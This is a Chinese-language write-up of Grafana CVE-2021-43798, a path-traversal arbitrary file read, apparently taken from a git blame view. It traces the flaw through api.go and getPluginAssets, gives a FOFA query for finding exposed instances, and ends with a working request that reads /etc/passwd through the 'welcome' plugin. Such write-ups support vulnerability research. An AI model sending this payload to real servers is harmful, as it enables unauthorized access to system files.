2022-05-24 17:29:00 +08:00
|
|
|
|
# Grafana plugins 任意文件读取漏洞 CVE-2021-43798
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
|
|
Grafana存在任意文件读取漏洞,通过默认存在的插件,可构造特殊的请求包读取服务器任意文件
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
Grafana 8.x
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## FOFA
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
app="Grafana_Labs-公司产品"
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
|
|
登录页面
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
下载源码进行本地分析
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
https://codeload.github.com/grafana/grafana/zip/refs/tags/v8.3.0
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
根据漏洞找到 api.go 中的请求路径
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
跟踪对应的 getPluginAssets 方法
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
从请求路径中获取 `/public/plugins/` 后的参数赋值给 `pluginID,` 然后再被拼接至 `pluginFilePath` 进入文件读取片段
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
requestedFile := filepath.Clean(web.Params(c.Req)["*"])
|
|
|
|
|
|
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
也就是说通过默认存在的插件来拼接文件路径构造请求进行文件读取
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
|
|
|
|
|
|
if !exists {
|
|
|
|
|
|
c.JsonApiErr(404, "Plugin not found", nil)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
插件路径 `public/app/plugins/panel`
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
构造请求
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
/public/plugins/welcome/../../../../../../../../../etc/passwd
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|